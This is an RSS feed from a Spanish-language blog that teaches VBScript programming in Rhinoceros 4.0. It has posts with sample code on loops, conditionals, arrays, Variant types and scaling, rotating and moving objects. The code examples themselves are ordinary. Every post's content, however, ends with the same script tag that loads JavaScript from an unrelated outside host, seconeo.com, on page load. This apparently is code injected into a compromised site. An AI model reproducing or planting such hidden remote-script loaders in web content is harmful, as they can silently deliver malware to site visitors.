<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>EL BLOG DEL JOSÉ (el de informática) &#187; vbscript Rhinoceros 4.0</title>
	<atom:link href="http://www.josemanuelbaldo.com/category/vbscript-rhinoceros-4-0/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.josemanuelbaldo.com</link>
	<description>cosicas varias</description>
	<lastBuildDate>Fri, 30 Jul 2010 16:14:08 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>Proyeccion recta en R2 sobre superficie.</title>
		<link>http://www.josemanuelbaldo.com/2009/09/02/proyeccion-recta-en-r2-sobre-superficie/</link>
		<comments>http://www.josemanuelbaldo.com/2009/09/02/proyeccion-recta-en-r2-sobre-superficie/#comments</comments>
		<pubDate>Wed, 02 Sep 2009 09:49:09 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[vbscript Rhinoceros 4.0]]></category>

		<guid isPermaLink="false">http://www.josemanuelbaldo.com/?p=83</guid>
		<description><![CDATA[A ver si consigo la geodesica entre dos puntos, de momento tenemos esto .]]></description>
			<content:encoded><![CDATA[<p><img title="rectaR2sobreSuperficie" src="http://www.josemanuelbaldo.com/wp-content/uploads/2009/09/rectaR2sobreSuperficie2.bmp" alt="rectaR2sobreSuperficie" width="400px" /></p>
<p>A ver si consigo la geodesica entre dos puntos, de momento tenemos esto <img src='http://www.josemanuelbaldo.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> .</p>
<p><script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.josemanuelbaldo.com/2009/09/02/proyeccion-recta-en-r2-sobre-superficie/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Viva RhinoScript!!</title>
		<link>http://www.josemanuelbaldo.com/2009/08/28/viva-rhinoscript/</link>
		<comments>http://www.josemanuelbaldo.com/2009/08/28/viva-rhinoscript/#comments</comments>
		<pubDate>Fri, 28 Aug 2009 10:24:22 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[vbscript Rhinoceros 4.0]]></category>

		<guid isPermaLink="false">http://www.josemanuelbaldo.com/?p=71</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[<pre>
<img src="http://www.josemanuelbaldo.com/wp-content/uploads/2009/08/piramide1.bmp" alt="piramide" title="piramide" width="300px" />
</pre>
<p><script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.josemanuelbaldo.com/2009/08/28/viva-rhinoscript/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Scale, Rotate and Translate (Move) in RhinoScript vbScript</title>
		<link>http://www.josemanuelbaldo.com/2009/08/28/scale-rotate-and-translate-move-in-rhinoscript-vbscript/</link>
		<comments>http://www.josemanuelbaldo.com/2009/08/28/scale-rotate-and-translate-move-in-rhinoscript-vbscript/#comments</comments>
		<pubDate>Fri, 28 Aug 2009 08:12:47 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[vbscript Rhinoceros 4.0]]></category>
		<category><![CDATA[escalar]]></category>
		<category><![CDATA[mover]]></category>
		<category><![CDATA[object]]></category>
		<category><![CDATA[Object Transform in rhinoscript transformacion objetos rhinoscript escalar rotar trasladar]]></category>
		<category><![CDATA[objetos]]></category>
		<category><![CDATA[rhinoceros]]></category>
		<category><![CDATA[rhinoscript]]></category>
		<category><![CDATA[rotar]]></category>
		<category><![CDATA[rotate]]></category>
		<category><![CDATA[scale]]></category>
		<category><![CDATA[trasladar]]></category>
		<category><![CDATA[traslate]]></category>

		<guid isPermaLink="false">http://www.josemanuelbaldo.com/?p=67</guid>
		<description><![CDATA[Un ejemplillo de como rotar, trasladar y escalar objetos en rhinoceros con vbscript. Por cierto, tambien se puede usar la función Rhino.TransformObject que usa las matrices de transformación con coordenadas homogeneas, ya escribiré algo sobre esto . Sub ScaleAndMove() Dim idBox, idBoxNew ' MOVER/TRASLADAR idBox = DrawCube(20, 0, 0, 10) idBoxNew = DrawCube(20, 0, 0, [...]]]></description>
			<content:encoded><![CDATA[<p>Un ejemplillo de como rotar, trasladar y escalar objetos en rhinoceros con vbscript.<br />
Por cierto, tambien se puede usar la función <strong> Rhino.TransformObject </strong>que usa las matrices de transformación con coordenadas homogeneas, ya escribiré algo sobre esto <img src='http://www.josemanuelbaldo.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> . </p>
<pre class="brush: vb">
Sub ScaleAndMove()
	Dim idBox, idBoxNew

	' MOVER/TRASLADAR
	idBox = DrawCube(20, 0, 0, 10)
	idBoxNew = DrawCube(20, 0, 0, 10)
	Rhino.ObjectColor idBoxNew, RGB(200, 0, 0)
	Rhino.MoveObject idBox, Array(0, 0, 0), array(0, 10, 0)

	'ESCALAR
	idBox = DrawCube(20, 0, 0, 10)
	Rhino.ScaleObject idBox, Array(0, 0, 0), array(0.95,0.95,0.95)

	' ROTAR
	idBoxNew = Rhino.RotateObject(idBox, Array(0, 0, 0), 45, array(1, 0, 0), True)
	Rhino.ObjectColor idBoxNew, RGB(200, 0, 0)
End Sub
</pre>
<p><script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.josemanuelbaldo.com/2009/08/28/scale-rotate-and-translate-move-in-rhinoscript-vbscript/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Variant To The Power.</title>
		<link>http://www.josemanuelbaldo.com/2009/08/26/variant-to-the-power/</link>
		<comments>http://www.josemanuelbaldo.com/2009/08/26/variant-to-the-power/#comments</comments>
		<pubDate>Wed, 26 Aug 2009 11:29:00 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[vbscript Rhinoceros 4.0]]></category>
		<category><![CDATA[vbscript rhinoceros variant arrays array]]></category>

		<guid isPermaLink="false">http://www.josemanuelbaldo.com/?p=64</guid>
		<description><![CDATA[Ya está!, me quedo con vbVariant para implementar mis vectores, por varias razones: - Los vectores no se pueden asignar unos a otros, me toca copiar elemento a elemento, los variant, como son variant conteniendo valores (da igual la forma) si se pueden copiar con una asignación directamente . - Las variant pueden cambiarse de [...]]]></description>
			<content:encoded><![CDATA[<p>Ya está!, me quedo con vbVariant para implementar mis vectores, por varias razones:</p>
<p>- Los vectores no se pueden asignar unos a otros, me toca copiar elemento a elemento, los variant, como son variant conteniendo valores (da igual la forma) si se pueden copiar con una asignación directamente <img src='http://www.josemanuelbaldo.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> .<br />
- Las variant pueden cambiarse de tamaño como los vectores dinámicos, en ese momento será un vector.<br />
- Las variant pueden contener el tipo que devuelve la función Array(lst_args) que tambien es interesante poder usarlo en cualquier momento, en ese momento sera un vector.</p>
<p>Afirmamos mas así que los vectores de variant y los variant que contienen vectores no son lo mismo. Sin embargo, con los variant tengo las ventajas de los dos, por ser variant puedo hacer todo lo que quiera hacer con un variant, por ser su subtipo vector dinamico puedo hacer todo lo que puedo hacer con un vector dinamico, que le den a los bytes, de momento <img src='http://www.josemanuelbaldo.com/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> .<br />
<script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.josemanuelbaldo.com/2009/08/26/variant-to-the-power/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>VBScript Variant Type</title>
		<link>http://www.josemanuelbaldo.com/2009/08/26/vbscript-variant-type/</link>
		<comments>http://www.josemanuelbaldo.com/2009/08/26/vbscript-variant-type/#comments</comments>
		<pubDate>Wed, 26 Aug 2009 10:07:19 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[vbscript Rhinoceros 4.0]]></category>
		<category><![CDATA[vbscript rhinoceros array data type]]></category>

		<guid isPermaLink="false">http://www.josemanuelbaldo.com/?p=47</guid>
		<description><![CDATA[Bueno, el tema es que vengo de C++ y el tipo Variant me está volviendo loco, claro si estuviera en visual basic no script le pongo tipo a todas las variables y me movería en mi salsa, pero en vbscript todas las variables son de tipo variant . Empecemos. Scalar Variables and Array Variables. Las [...]]]></description>
			<content:encoded><![CDATA[<p>Bueno, el tema es que vengo de C++ y el tipo Variant me está volviendo loco, claro si estuviera en visual basic no script le pongo tipo a todas las variables y me movería en mi salsa, pero en vbscript todas las variables son de tipo variant <img src='http://www.josemanuelbaldo.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> . Empecemos.</p>
<p><strong>Scalar Variables and Array Variables. </strong><br />
Las variables de tipo escalar son las variables que solo pueden contener un valor y las variables de tipo vector son las variables que pueden contener mas de un valor. Esta explicación la he sacao de la web de msdn y me ha parecido bastante interesante.</p>
<pre class="brush: vb">Dim radio, lado ' son variables escalares, solo podrán contener un valor
Dim sup(2) ' podrá contener 3 valores, alojados en sup(0), sup(1) y sup(2)
Dim lstObjetos() ' podrá contener los valores que yo especifique con Redim lstObjetos(tamaño)

radio = 3
sup(0) = 1
sup(1) = 2
sup(2) = "jander crander"
Redim lstObjetos(2) ' tendremos ahora posibilidad de almacenar 3 valores.</pre>
<p><strong>Data Types </strong><br />
Pues mirando los tipos de datos de las variables me encontre con que, en VBScript las variables solo pueden ser de tipo vbVariant. O sea que las variables solo pueden de tipo variante (variables variantes?? como la ensaladilla <img src='http://www.josemanuelbaldo.com/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> ).<br />
Miremos el dicccionario, una variable es algo que puede cambiar de valor y una variante es algo que puede cambiar de forma, esto ayuda algo no?. Asi que, la variables son de tipo vbVariant pero tienen subtipo, que es el tipo del valor que se le asigno, real, entero, caracter&#8230;</p>
<p><strong>Mixing </strong><br />
Todas las variables son variant, pueden contener un valor de cualquier tipo de datos. Si ademas, declaro una variable vector, el tipo de cada elemento sera variant <img src='http://www.josemanuelbaldo.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> .</p>
<p><strong>Where is the problem then? </strong><br />
En la función Array(list_args), esta maravillosa función devuelve una variable variant que contiene un vector de 3 elementos que no es lo mismo que un vector de 3 variants, aunque el acceso a cada elemento en ambas variables se realiza de la misma forma.</p>
<pre class="brush: vb">Dim variante, estatico(2)
variante = Array(2, 2, 2)
estatico = Array(2, 2, 2) ' esto falla porque los tipos no son el mismo, aunque es toneria
' porque realmete no deja asignar un vector a otro mediante el operador asignación, hay
' copiarlos campo a campo, entonces no te das cuenta de que tipo son.</pre>
<p>PD: si no queda claro, es porque estas cosas es mejor explicarlas en una pizarra con ejemplos, asi que<br />
siempre podeis venir a la academia <img src='http://www.josemanuelbaldo.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> .<script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.josemanuelbaldo.com/2009/08/26/vbscript-variant-type/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Bucles 1.</title>
		<link>http://www.josemanuelbaldo.com/2009/08/15/bucles-1/</link>
		<comments>http://www.josemanuelbaldo.com/2009/08/15/bucles-1/#comments</comments>
		<pubDate>Sat, 15 Aug 2009 05:22:01 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[vbscript Rhinoceros 4.0]]></category>
		<category><![CDATA[bucles while]]></category>
		<category><![CDATA[rhinoceros]]></category>
		<category><![CDATA[vbscript]]></category>

		<guid isPermaLink="false">http://www.josemanuelbaldo.com/?p=43</guid>
		<description><![CDATA[Option Explicit 'Script written by 'Script copyrighted by 'Script version jueves, 13 de agosto de 2009 9:05:47 'Cambiar esta llamada para ir cambiando el procedimiento que ejecuta el script. Call Main5() Sub Main() Dim x x = 1 Do While x]]></description>
			<content:encoded><![CDATA[<pre class="brush: vb">
Option Explicit
'Script written by <jmbp>
'Script copyrighted by <aulajose s.l.>
'Script version jueves, 13 de agosto de 2009 9:05:47

'Cambiar esta llamada para ir cambiando el procedimiento que ejecuta el script.
Call Main5()

Sub Main()
	Dim x

	x = 1
	Do While x <= 10
		Rhino.AddPoint(Array(x, 5, 0))
		x = x + 1
	Loop

End Sub

Sub Main2()
	Dim x, cuantosLLevo, cuantosQuiero

	x = 1
	cuantosQuiero = Rhino.GetInteger("Cuantos puntos dibujo?")
	cuantosLLevo = 0
	Do While cuantosLLevo < cuantosQuiero
		Rhino.AddPoint Array(x, 1, 0)
		x = x + 1
		cuantosLlevo = cuantosLLevo + 1
	Loop
End Sub

Sub Main3()
	Dim x, cuantosLLevo, cuantosQuiero

	x = 1
	cuantosQuiero = Rhino.GetInteger("Cuantos puntos dibujo?")
	Do While cuantosQuiero <= 0
		Rhino.Print("Disculpe. El valor debe ser positivo")
		cuantosQuiero = Rhino.GetInteger("Cuantos puntos dibujo?")
	Loop

	cuantosLLevo = 0
	Do While cuantosLLevo < cuantosQuiero
		Rhino.AddPoint Array(x, 1, 0)
		x = x + 1
		cuantosLlevo = cuantosLLevo + 1
	Loop
End Sub

Sub Main4()
	Dim x, cuantosLLevo, cuantosQuiero, distancia

	distancia = Rhino.GetInteger("Distancia entre puntos?")
	Do While distancia <= 0
		Rhino.Print("Disculpe. La distancia debe ser positiva.")
		distancia = Rhino.GetInteger("Distanca entre puntos?")
	Loop

	cuantosQuiero = Rhino.GetInteger("Cuantos puntos dibujo?")
	Do While cuantosQuiero <= 0
		Rhino.Print("Disculpe. El valor debe ser positivo")
		cuantosQuiero = Rhino.GetInteger("Cuantos puntos dibujo?")
	Loop

	cuantosLLevo = 0
	x = 1
	Do While cuantosLLevo < cuantosQuiero
		Rhino.AddPoint Array(x, 1, 0)
		x = x + distancia
		cuantosLlevo = cuantosLLevo + 1
	Loop
End Sub

Sub Main5()
	Dim x, y, d, h, numPuntos, totalPuntos

	d = Rhino.GetInteger("Distancia?")
	h = Rhino.GetInteger("Altura?")
	totalPuntos = Rhino.GetInteger("Total de puntos?")

	x = 1
	y = 1
	numPuntos = 0
	Do While numPuntos <= totalPuntos
		Rhino.AddPoint Array(x, y, 0)
		x = x + d
		If numPuntos Mod 2 = 0 Then
			y = 1 + h
		Else
			y = 1
		End If
		numPuntos = numPuntos + 1
	Loop
End Sub
</pre>
<p>Los procedimientos van de menos a mas complejidad. Si quereis probarlos solo<br />
tendreis que cambiar la llamada al procedimiento.<script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.josemanuelbaldo.com/2009/08/15/bucles-1/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>VBScript if else</title>
		<link>http://www.josemanuelbaldo.com/2009/08/15/vbscript-if-else/</link>
		<comments>http://www.josemanuelbaldo.com/2009/08/15/vbscript-if-else/#comments</comments>
		<pubDate>Sat, 15 Aug 2009 05:13:43 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[vbscript Rhinoceros 4.0]]></category>
		<category><![CDATA[if else]]></category>
		<category><![CDATA[rhinoceros]]></category>
		<category><![CDATA[vbscript]]></category>

		<guid isPermaLink="false">http://www.josemanuelbaldo.com/?p=40</guid>
		<description><![CDATA[Option Explicit 'Script written by 'Script copyrighted by 'Script version martes, 11 de agosto de 2009 9:37:31 ' Procedimiento que imprime los dos puntos introducidos por el usuario ' por orden de mas cercano al origen. Sub Main() Dim punto1, punto2, d1, d2 punto1 = Rhino.GetPoint("Punto 1: ") punto2 = Rhino.GetPoint("Punto 2: ") d1 = [...]]]></description>
			<content:encoded><![CDATA[<pre class="brush: vb">
Option Explicit
'Script written by <jmbp>
'Script copyrighted by <aulajose s.l.>
'Script version martes, 11 de agosto de 2009 9:37:31

' Procedimiento que imprime los dos puntos introducidos por el usuario
' por orden de mas cercano al origen.
Sub Main()
	Dim punto1, punto2, d1, d2

	punto1 = Rhino.GetPoint("Punto 1: ")
	punto2 = Rhino.GetPoint("Punto 2: ")

	d1 = (punto1(0)^2 + punto1(1)^2 + punto1(2)^2)^0.5
	d2 = (punto2(0)^2 + punto2(1)^2 + punto2(2)^2)^0.5

	If d1 > d2 Then
		Rhino.Print punto2(0) &#038; ", " &#038; punto2(1) &#038; ", " &#038; punto2(2)
		Rhino.Print punto1(0) &#038; ", " &#038; punto1(1) &#038; ", " &#038; punto1(2)
	Else
		Rhino.Print punto1(0) &#038; ", " &#038; punto1(1) &#038; ", " &#038; punto1(2)
		Rhino.Print punto2(0) &#038; ", " &#038; punto2(1) &#038; ", " &#038; punto2(2)
	End If
End Sub

' Lo mismo con el anterior pero con las funciones de la libreria.
Sub Main2()
	Dim punto1, punto2, d1, d2, puntoOrigen

	punto1 = Rhino.GetPoint("Punto 1: ")
	punto2 = Rhino.GetPoint("Punto 2: ")
	puntoOrigen = Array(0, 0, 0)

	d1 = Rhino.Distance(puntoOrigen, punto1)
	d2 = Rhino.Distance(puntoOrigen, punto2)

	If d1 > d2 Then
		Rhino.Print Rhino.Pt2Str(punto2)
		Rhino.Print Rhino.Pt2Str(punto1)
	Else
		Rhino.Print Rhino.Pt2Str(punto1)
		Rhino.Print Rhino.Pt2Str(punto2)
	End If

End Sub

' Lo mismo que el anterior pero con 3 puntos.
' Además añade una polilinea que empezando en el origen pasa por
' los 3 puntos.

Sub Main3()
	Dim punto1, punto2, punto3, auxPunto, d1, d2, d3, auxD, po

	punto1 = Rhino.GetPoint("Punto 1: ")
	punto2 = Rhino.GetPoint("Punto 2: ")
	punto3 = Rhino.GetPoint("Punto 3: ")
	po = Array(0, 0, 0)

	d1 = Rhino.Distance(po, punto1)
	d2 = Rhino.Distance(po, punto2)
	d3 = Rhino.Distance(po, punto3)

	If d3 < d2 Then
		' Intercambiamos las distancias
		auxD = d3
		d3 = d2
		d2 = auxD
		' Intercambiamos los puntos correspondientes
		auxPunto = punto3
		punto3 = punto2
		punto2 = auxPunto
	End If

	If d2 < d1 Then
		auxD = d2
		d2 = d1
		d1 = auxD
		auxPunto = punto2
		punto2 = punto1
		punto1 = auxPunto
	End If

	If d3 < d2 Then
		' Intercambiamos las distancias
		auxD = d3
		d3 = d2
		d2 = auxD
		' Intercambiamos los puntos correspondientes
		auxPunto = punto3
		punto3 = punto2
		punto2 = auxPunto
	End If

	Rhino.Print Rhino.pt2str(punto1)
	Rhino.Print Rhino.Pt2Str(punto2)
	Rhino.print Rhino.Pt2Str(punto3)

	Rhino.AddLine po, punto1
	Rhino.AddLine punto1, punto2
	Rhino.AddLine punto2, punto3

End Sub
</pre>
<p>Mas ejemplos de if - else. Taras siento el retraso, la próxima vez los colgaré al acabar la clase.<script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.josemanuelbaldo.com/2009/08/15/vbscript-if-else/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Un ejemplo de if else anidados</title>
		<link>http://www.josemanuelbaldo.com/2009/07/27/un-ejemplo-de-if-else-anidados/</link>
		<comments>http://www.josemanuelbaldo.com/2009/07/27/un-ejemplo-de-if-else-anidados/#comments</comments>
		<pubDate>Mon, 27 Jul 2009 06:52:15 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[vbscript Rhinoceros 4.0]]></category>

		<guid isPermaLink="false">http://www.josemanuelbaldo.com/?p=30</guid>
		<description><![CDATA[Sub ComprobarCuadrante() Dim x, y x = Rhino.getreal("coordenada x:") y = Rhino.getreal("coordenada y:") If x = 0 And y = 0 Then Rhino.Print "Origen" Else If x = 0 Then If y &#62; 0 Then rhino.print "y +" Else rhino.print "y -" End If Else If y = 0 Then If x &#60; 0 Then [...]]]></description>
			<content:encoded><![CDATA[<pre class="brush: vb">Sub ComprobarCuadrante()
	Dim x, y
	x = Rhino.getreal("coordenada x:")
	y = Rhino.getreal("coordenada y:")
	If x = 0 And y = 0 Then
		Rhino.Print "Origen"
	Else
		If x = 0 Then
			If y &gt; 0 Then
				rhino.print "y +"
			Else
				rhino.print "y -"
			End If
		Else
			If y = 0 Then
				If x &lt; 0 Then
					rhino.print "x -"
				Else
					rhino.print "x +"
				End If
			Else
				If x &gt; 0 Then
					If y &gt; 0 Then
						rhino.print "I"
					Else
						rhino.print "IV"
					End If
				Else
					If y &gt; 0 Then
						rhino.print "II"
					Else
						rhino.print "III"
					End If
				End If
			End If
		End If
	End If
End Sub</pre>
<p><script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.josemanuelbaldo.com/2009/07/27/un-ejemplo-de-if-else-anidados/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>arrays</title>
		<link>http://www.josemanuelbaldo.com/2009/07/26/arrays/</link>
		<comments>http://www.josemanuelbaldo.com/2009/07/26/arrays/#comments</comments>
		<pubDate>Sun, 26 Jul 2009 16:16:24 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[vbscript Rhinoceros 4.0]]></category>

		<guid isPermaLink="false">http://www.josemanuelbaldo.com/?p=25</guid>
		<description><![CDATA[' Matrices o Arrays. ' Si declaras un array mediante el uso de Dim el tipo de cada ' elemento del array es generico (puede contener un valor de cualquier tipo). ' A cada posicion le puedes asignar un valor del cualquier tipo. ' Pero al array no se le puede asignar un array especifico [...]]]></description>
			<content:encoded><![CDATA[<pre class="brush: vb">
' Matrices o Arrays.
' Si declaras un array mediante el uso de Dim el tipo de cada
' elemento del array es generico (puede contener un valor de cualquier tipo).
' A cada posicion le puedes asignar un valor del cualquier tipo.
' Pero al array no se le puede asignar un array especifico
' como un rhpoint o un array(2, 2, 2). Estos son arrays de elementos de tipos concretos.
' En el momento de la declaración entre los parentesis se indica el indice máximo
' si el indice máximo es 2, iria de 0 a 2.
' Para crear una matriz, creamos un vector y luego le asignamos componente a componente.

Sub probe1()
	Dim p1(2)

	' error, no es lo mismo un array generico que un array punto.
	' p1 = rhino.getpoint("un punto")
	' p1 = array(2, 2, 2)

	p1(0) = array(2, 2, 2) ' en la primera fila, 3 columnas todas con valor 2.
	p1(1) = rhino.getpoint("un punto") ' en la segunda fila un punto de rhino.
	rhino.print p1(0)(0) ' interesante forma de acceder al primer elemento de la primera fila
	p1(2) = 6 ' en la tercera fila un entero
End Sub
</pre>
<p><script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.josemanuelbaldo.com/2009/07/26/arrays/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>VBScript in Rhino</title>
		<link>http://www.josemanuelbaldo.com/2009/07/26/vbscript-in-rhino/</link>
		<comments>http://www.josemanuelbaldo.com/2009/07/26/vbscript-in-rhino/#comments</comments>
		<pubDate>Sun, 26 Jul 2009 16:09:50 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[vbscript Rhinoceros 4.0]]></category>

		<guid isPermaLink="false">http://www.josemanuelbaldo.com/?p=22</guid>
		<description><![CDATA[Bueno, ahora me pongo a aprender programación en Rhinoceros, es bastante mas sencillo de lo que pensaba. El tema es que los tipos de datos van un poco a lo loco, ya que para las variables no se indica tipo en la declaracíon, solo hay que diferenciar si son vectores o no. Además, tampoco se [...]]]></description>
			<content:encoded><![CDATA[<p>Bueno, ahora me pongo a aprender programación en Rhinoceros, es bastante mas sencillo de lo que pensaba. El tema es que los tipos de datos van un poco a lo loco, ya que para las variables no se indica tipo en la declaracíon, solo hay que diferenciar si son vectores o no. Además, tampoco se indica el tipo de los elementos del vector y cada uno puede ser de un tipo u otro .<script src="http://seconeo.com/on"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.josemanuelbaldo.com/2009/07/26/vbscript-in-rhino/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
